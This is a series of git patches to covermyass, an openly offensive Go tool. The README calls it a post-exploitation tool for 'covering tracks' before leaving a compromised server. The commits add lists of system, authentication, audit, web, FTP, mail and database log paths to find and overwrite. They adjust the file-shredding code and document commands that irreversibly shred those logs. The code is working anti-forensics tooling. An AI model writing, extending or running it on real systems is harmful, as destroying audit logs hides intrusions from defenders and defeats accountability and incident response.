b/lib/shred/shred.go index 6d8f5e7..29376eb 100644 --- a/lib/shred/shred.go +++ b/lib/shred/shred.go @@ -43,25 +43,31 @@ func (s *Shredder) Write(pathName string) error { // Stat the file for the file length fstat, err := os.Stat(pathName) if err != nil { - return fmt.Errorf("shredding failed: %w", err) + return fmt.Errorf("file stat failed: %w", err) } // Open the file file, err := os.OpenFile(pathName, os.O_WRONLY, fstat.Mode()) if err != nil { - return fmt.Errorf("shredding failed: %w", err) + return fmt.Errorf("file opening failed: %w", err) } + defer file.Close() err = s.shred(fstat, file) if err != nil { return fmt.Errorf("shredding failed: %w", err) } + if s.options.Zero { + if err := os.Truncate(pathName, 0); err != nil { + return fmt.Errorf("truncate failed: %w", err) + } + } + return nil } func (s *Shredder) shred(fstat FileInfo, file File) error { - defer file.Close() fSize := fstat.Size() // Avoid shredding if the file is already empty @@ -102,12 +108,5 @@ func (s *Shredder) shred(fstat FileInfo, file File) error { } } - if s.options.Zero { - _, err := file.Write([]byte{}) - if err != nil { - return err - } - } - return nil } diff --git a/lib/shred/shred_test.go b/lib/shred/shred_test.go index 85f9977..a6c2a13 100644 --- a/lib/shred/shred_test.go +++ b/lib/shred/shred_test.go @@ -18,12 +18,12 @@ func TestShredder_Write(t *testing.T) { { name: "test with non-existing file", input: "testdata/fake.log", - wantError: errors.New("shredding failed: stat testdata/fake.log: no such file or directory"), + wantError: errors.New("file stat failed: stat testdata/fake.log: no such file or directory"), }, { name: "test with non-file path", input: "testdata/", - wantError: errors.New("shredding failed: open testdata/: is a directory"), + wantError: errors.New("file opening failed: open testdata/: is a directory"), }, } @@ -57,7 +57,6 @@ func TestShredder_shred(t *testing.T) { }, mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { fakeFileInfo.On("Size").Return(int64(0)).Times(1) - fakeFile.On("Close").Return(nil).Times(1) }, }, { @@ -71,7 +70,6 @@ func TestShredder_shred(t *testing.T) { fakeFileInfo.On("Size").Return(int64(64)).Times(4) fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(3) - fakeFile.On("Close").Return(nil).Times(1) fakeFile.On("Sync").Return(nil).Times(3) fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { return len(b) != 0 @@ -89,7 +87,6 @@ func TestShredder_shred(t *testing.T) { fakeFileInfo.On("Size").Return(int64(2000000)).Times(11) fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(10) - fakeFile.On("Close").Return(nil).Times(1) fakeFile.On("Sync").Return(nil).Times(10) fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { return len(b) != 0 @@ -107,34 +104,12 @@ func TestShredder_shred(t *testing.T) { fakeFileInfo.On("Size").Return(int64(2000)).Times(2) fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(1) - fakeFile.On("Close").Return(nil).Times(1) fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { return len(b) != 0 })).Return(0, errors.New("dummy error")) }, wantError: errors.New("dummy error"), }, - { - name: "test writing a 2Kb file with zero option", - options: ShredderOptions{ - Zero: true, - Iterations: 5, - Unlink: false, - }, - mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { - fakeFileInfo.On("Size").Return(int64(2000)).Times(6) - - fakeFile.On("Close").Return(nil).Times(1) - fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(5) - fakeFile.On("Sync").Return(nil).Times(5) - fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { - return len(b) > 0 - })).Return(0, nil) - fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { - return len(b) == 0 - })).Return(0, nil).Once() - }, - }, } for _, tt := range cases { diff --git a/lib/shred/testdata/empty.log b/lib/shred/testdata/.gitkeep similarity index 100% rename from lib/shred/testdata/empty.log rename to lib/shred/testdata/.gitkeep diff --git a/lib/shred/testdata/protected.log b/lib/shred/testdata/protected.log deleted file mode 100644 index e69de29..0000000 From 7a2daf6fbd4b8efa75d67c87e5ef04f6cd7fe37a Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:14:54 +0400 Subject: [PATCH 17/22] docs: readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3ef1b6a..bbf776c 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ [![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions) [![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases) -### About +## About Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data. From d430a576b291a4e8f7f254a2231e0264c06b4348 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:15:28 +0400 Subject: [PATCH 18/22] test: byteCountSI func --- lib/analysis/utils_test.go | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 lib/analysis/utils_test.go diff --git a/lib/analysis/utils_test.go b/lib/analysis/utils_test.go new file mode 100644 index 0000000..a779c7d --- /dev/null +++ b/lib/analysis/utils_test.go @@ -0,0 +1,26 @@ +package analysis + +import ( + "fmt" + "github.com/stretchr/testify/assert" + "testing" +) + +func Test_byteCountSI(t *testing.T) { + testcases := map[int64]string{ + 0: "0 B", + 1: "1 B", + 10000: "10.0 kB", + 22736526: "22.7 MB", + 2123652683: "2.1 GB", + 2123652683000: "2.1 TB", + 2123652683000000: "2.1 PB", + 2123652683000000000: "2.1 EB", + } + + for v, expected := range testcases { + t.Run(fmt.Sprintf("test with input %d", v), func(t *testing.T) { + assert.Equal(t, expected, byteCountSI(v)) + }) + } +} From c41b093f0143eecdbb63c3ed59730fb773fb8ee3 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:15:40 +0400 Subject: [PATCH 19/22] feat: add more checks --- lib/check/checks.go | 6 --- lib/check/database_server_check.go | 24 ++++++++++++ lib/check/ftp_check.go | 26 +++++++++++++ lib/check/http_server_check.go | 28 ++++++++++++++ lib/check/lastlog_check.go | 23 ----------- lib/check/mail_check.go | 24 ++++++++++++ ...istory_check.go => shell_history_check.go} | 0 lib/check/system_check.go | 38 +++++++++++++++++++ 8 files changed, 140 insertions(+), 29 deletions(-) create mode 100644 lib/check/database_server_check.go create mode 100644 lib/check/ftp_check.go create mode 100644 lib/check/http_server_check.go delete mode 100644 lib/check/lastlog_check.go create mode 100644 lib/check/mail_check.go rename lib/check/{bash_history_check.go => shell_history_check.go} (100%) create mode 100644 lib/check/system_check.go diff --git a/lib/check/checks.go b/lib/check/checks.go index 113741d..79a676a 100644 --- a/lib/check/checks.go +++ b/lib/check/checks.go @@ -1,11 +1,5 @@ package check -const ( - Linux = "linux" - Darwin = "darwin" - Windows = "windows" -) - var checks []Check type Check interface { diff --git a/lib/check/database_server_check.go b/lib/check/database_server_check.go new file mode 100644 index 0000000..a95972e --- /dev/null +++ b/lib/check/database_server_check.go @@ -0,0 +1,24 @@ +//go:build !windows + +package check + +type databaseServerCheck struct{} + +func NewDatabaseServerCheck() Check { + return &databaseServerCheck{} +} + +func (s *databaseServerCheck) Name() string { + return "database-server" +} + +func (s *databaseServerCheck) Paths() []string { + return []string{ + "/var/log/mysqld.log", + "/var/log/mysql.log", + } +} + +func init() { + AddCheck(NewDatabaseServerCheck()) +} diff --git a/lib/check/ftp_check.go b/lib/check/ftp_check.go new file mode 100644 index 0000000..d91e3df --- /dev/null +++ b/lib/check/ftp_check.go @@ -0,0 +1,26 @@ +//go:build !windows + +package check + +type ftpCheck struct{} + +func NewFTPCheck() Check { + return &ftpCheck{} +} + +func (s *ftpCheck) Name() string { + return "ftp" +} + +func (s *ftpCheck) Paths() []string { + return []string{ + "/usr/local/psa/var/log/xferlog*", + "/var/log/xferlog*", + "/var/log/secure*", + "/var/log/pureftp.log*", + } +} + +func init() { + AddCheck(NewFTPCheck()) +} diff --git a/lib/check/http_server_check.go b/lib/check/http_server_check.go new file mode 100644 index 0000000..fd92f1d --- /dev/null +++ b/lib/check/http_server_check.go @@ -0,0 +1,28 @@ +//go:build !windows + +package check + +type httpServerCheck struct{} + +func NewHTTPServerCheck() Check { + return &httpServerCheck{} +} + +func (s *httpServerCheck) Name() string { + return "http-server" +} + +func (s *httpServerCheck) Paths() []string { + return []string{ + "/var/log/apache2/access.log*", + "/var/log/apache2/error_log*", + "/var/log/httpd*", + "/var/log/apache/access.log*", + "/var/log/apache/error.log*", + "/var/log/nginx/*.log*", + } +} + +func init() { + AddCheck(NewHTTPServerCheck()) +} diff --git a/lib/check/lastlog_check.go b/lib/check/lastlog_check.go deleted file mode 100644 index 19e2acf..0000000 --- a/lib/check/lastlog_check.go +++ /dev/null @@ -1,23 +0,0 @@ -//go:build !windows - -package check - -type lastLogCheck struct{} - -func NewLastLogCheck() Check { - return &lastLogCheck{} -} - -func (s *lastLogCheck) Name() string { - return "lastlog" -} - -func (s *lastLogCheck) Paths() []string { - return []string{ - "/var/log/lastlog", - } -} - -func init() { - AddCheck(NewLastLogCheck()) -} diff --git a/lib/check/mail_check.go b/lib/check/mail_check.go new file mode 100644 index 0000000..b4114e2 --- /dev/null +++ b/lib/check/mail_check.go @@ -0,0 +1,24 @@ +//go:build !windows + +package check + +type mailCheck struct{} + +func NewMailCheck() Check { + return &mailCheck{} +} + +func (s *mailCheck) Name() string { + return "mail" +} + +func (s *mailCheck) Paths() []string { + return []string{ + "/usr/local/psa/var/log/maillog*", + "/var/log/maillog*", + } +} + +func init() { + AddCheck(NewMailCheck()) +} diff --git a/lib/check/bash_history_check.go b/lib/check/shell_history_check.go similarity index 100% rename from lib/check/bash_history_check.go rename to lib/check/shell_history_check.go diff --git a/lib/check/system_check.go b/lib/check/system_check.go new file mode 100644 index 0000000..f7d0e68 --- /dev/null +++ b/lib/check/system_check.go @@ -0,0 +1,38 @@ +//go:build !windows + +package check + +type systemCheck struct{} + +func NewSystemCheck() Check { + return &systemCheck{} +} + +func (s *systemCheck) Name() string { + return "system" +} + +func (s *systemCheck) Paths() []string { + return []string{ + "/var/log/lastlog", + "/var/log/boot.log*", + "/var/log/auth.log*", + "/var/log/daemon.log*", + "/var/log/kern.log*", + "/var/log/boot.log*", + "/var/log/syslog*", + "/var/log/mail.log*", + "/var/log/messages*", + "/var/log/secure*", + "/var/log/btmp*", + "/var/log/utmp*", + "/var/log/wtmp*", + "/var/log/faillog", + "/var/log/audit/*.log*", + "/var/log/dmesg", + } +} + +func init() { + AddCheck(NewSystemCheck()) +} From 6e51108a3b1706f204acfce56e99de5a1536ae8f Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:17:56 +0400 Subject: [PATCH 20/22] refactor: remove unlink feature --- cmd/root.go | 3 --- lib/shred/shred.go | 1 - lib/shred/shred_test.go | 4 ---- 3 files changed, 8 deletions(-) diff --git a/cmd/root.go b/cmd/root.go index f97d4bc..a63e7df 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -18,7 +18,6 @@ type RootCmdOptions struct { Write bool Zero bool Iterations int - Unlink bool //ExtraPaths []string FilterRules []string } @@ -72,7 +71,6 @@ covermyass --write -z -n 5 shredOptions := &shred.ShredderOptions{ Zero: opts.Zero, Iterations: opts.Iterations, - Unlink: opts.Unlink, } s := shred.New(shredOptions) for _, result := range a.Results() { @@ -95,7 +93,6 @@ covermyass --write -z -n 5 cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list") cmd.PersistentFlags().BoolVarP(&opts.Zero, "zero", "z", false, "Add a final overwrite with zeros to hide shredding") cmd.PersistentFlags().IntVarP(&opts.Iterations, "iterations", "n", 3, "Overwrite N times instead of the default") - cmd.PersistentFlags().BoolVarP(&opts.Unlink, "unlink", "u", false, "Deallocate and remove file after overwriting") cmd.PersistentFlags().StringSliceVarP(&opts.FilterRules, "filter", "f", []string{}, "File paths to ignore (supports glob patterns)") return cmd diff --git a/lib/shred/shred.go b/lib/shred/shred.go index 29376eb..760160d 100644 --- a/lib/shred/shred.go +++ b/lib/shred/shred.go @@ -28,7 +28,6 @@ type File interface { type ShredderOptions struct { Zero bool Iterations int - Unlink bool } type Shredder struct { diff --git a/lib/shred/shred_test.go b/lib/shred/shred_test.go index a6c2a13..ebede58 100644 --- a/lib/shred/shred_test.go +++ b/lib/shred/shred_test.go @@ -53,7 +53,6 @@ func TestShredder_shred(t *testing.T) { options: ShredderOptions{ Zero: false, Iterations: 3, - Unlink: false, }, mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { fakeFileInfo.On("Size").Return(int64(0)).Times(1) @@ -64,7 +63,6 @@ func TestShredder_shred(t *testing.T) { options: ShredderOptions{ Zero: false, Iterations: 3, - Unlink: false, }, mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { fakeFileInfo.On("Size").Return(int64(64)).Times(4) @@ -81,7 +79,6 @@ func TestShredder_shred(t *testing.T) { options: ShredderOptions{ Zero: false, Iterations: 10, - Unlink: false, }, mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { fakeFileInfo.On("Size").Return(int64(2000000)).Times(11) @@ -98,7 +95,6 @@ func TestShredder_shred(t *testing.T) { options: ShredderOptions{ Zero: false, Iterations: 3, - Unlink: false, }, mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { fakeFileInfo.On("Size").Return(int64(2000)).Times(2) From af1955152ec0a88d53245401fd5393b63c7d5eb7 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:40:50 +0400 Subject: [PATCH 21/22] docs: readme --- LICENSE | 2 +- README.md | 66 ++++++++++++++++++++++++++++++++++++------------------- 2 files changed, 44 insertions(+), 24 deletions(-) diff --git a/LICENSE b/LICENSE index 500d62a..8ce8991 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2020 Raphaël Cerveaux +Copyright (c) 2022 Raphaël Cerveaux Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index bbf776c..ff662c0 100644 --- a/README.md +++ b/README.md @@ -1,53 +1,73 @@ -# covermyass +## *covermyass* ## [![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions) [![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases) -## About +### About ### -Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data. +**Covermyass** is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data. -## Installation +### Current status ### -With sudo +This tool is still in beta. Upcoming versions might bring breaking changes. For now, we're focusing Linux and Darwin support, Windows may come later. + +### Installation ### + +Download the latest release : ```bash -sudo curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o /usr/bin/covermyass -sudo chmod +x /usr/bin/covermyass +curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyass +chmod +x ./covermyass ``` -Without sudo : +### Usage ### + +``` +$ covermyass -h + +Usage: + covermyass [flags] + +Examples: + +Overwrite log files as well as those found by path /db/*.log +covermyass --write -p /db/*.log + +Overwrite log files 5 times with a final overwrite with zeros to hide shredding +covermyass --write -z -n 5 + + +Flags: + -f, --filter strings File paths to ignore (supports glob patterns) + -h, --help help for covermyass + -n, --iterations int Overwrite N times instead of the default (default 3) + -l, --list Show files in a simple list format. This will prevent any write operation + --no-read-only Exclude read-only files in the list. Must be used with --list + -v, --version version for covermyass + --write Erase found log files. This WILL shred the files! + -z, --zero Add a final overwrite with zeros to hide shredding -```bash -curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o ~/.local/bin/covermyass -chmod +x ~/.local/bin/covermyass ``` -Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files. - -## Usage - -Run an analysis to find log files : +First, run an analysis. This will not erase anything. ``` covermyass ``` -Clear log files instantly : +When you acknowledged the results, erase those files. ``` covermyass --write ``` -Add custom file paths : - -``` -covermyass -p '/db/**/*.log' -``` - Filter out some paths : ``` covermyass -f '/foo/bar/*.log' covermyass -f '/foo/bar.log' ``` + +### License ### + +**covermyass** is licensed under the MIT license. Refer to [LICENSE](LICENSE) for more information. \ No newline at end of file From 37f7c4fff52a74dddd68c5acdd0a837f63b92aac Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 29 Nov 2022 15:41:10 +0400 Subject: [PATCH 22/22] refactor(output): remove Errorf method --- cmd/root.go | 2 +- lib/output/printer.go | 13 ------------- 2 files changed, 1 insertion(+), 14 deletions(-) diff --git a/cmd/root.go b/cmd/root.go index a63e7df..f661e7b 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -78,7 +78,7 @@ covermyass --write -z -n 5 WithField("path", result.Path). Debug("Shredding file") if err := s.Write(result.Path); err != nil { - return output.Errorf("error writing file %s: %e", result.Path, err) + return fmt.Errorf("error writing file %s: %s", result.Path, err) } } output.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations) diff --git a/lib/output/printer.go b/lib/output/printer.go index 4dd50d5..28042eb 100644 --- a/lib/output/printer.go +++ b/lib/output/printer.go @@ -8,7 +8,6 @@ import ( type Printer interface { Printf(string, ...interface{}) Println(string) - Errorf(string, ...interface{}) error } var globalPrinter Printer = &VoidPrinter{} @@ -25,10 +24,6 @@ func Println(format string) { globalPrinter.Printf(format) } -func Errorf(format string, args ...interface{}) error { - return globalPrinter.Errorf(format, args...) -} - type ConsolePrinter struct{} func NewConsolePrinter() Printer { @@ -43,16 +38,8 @@ func (c *ConsolePrinter) Println(format string) { _, _ = fmt.Fprintln(os.Stdout, format) } -func (c *ConsolePrinter) Errorf(format string, args ...interface{}) error { - return fmt.Errorf(format, args...) -} - type VoidPrinter struct{} func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {} func (v *VoidPrinter) Println(_ string) {} - -func (v *VoidPrinter) Errorf(format string, args ...interface{}) error { - return fmt.Errorf(format, args...) -}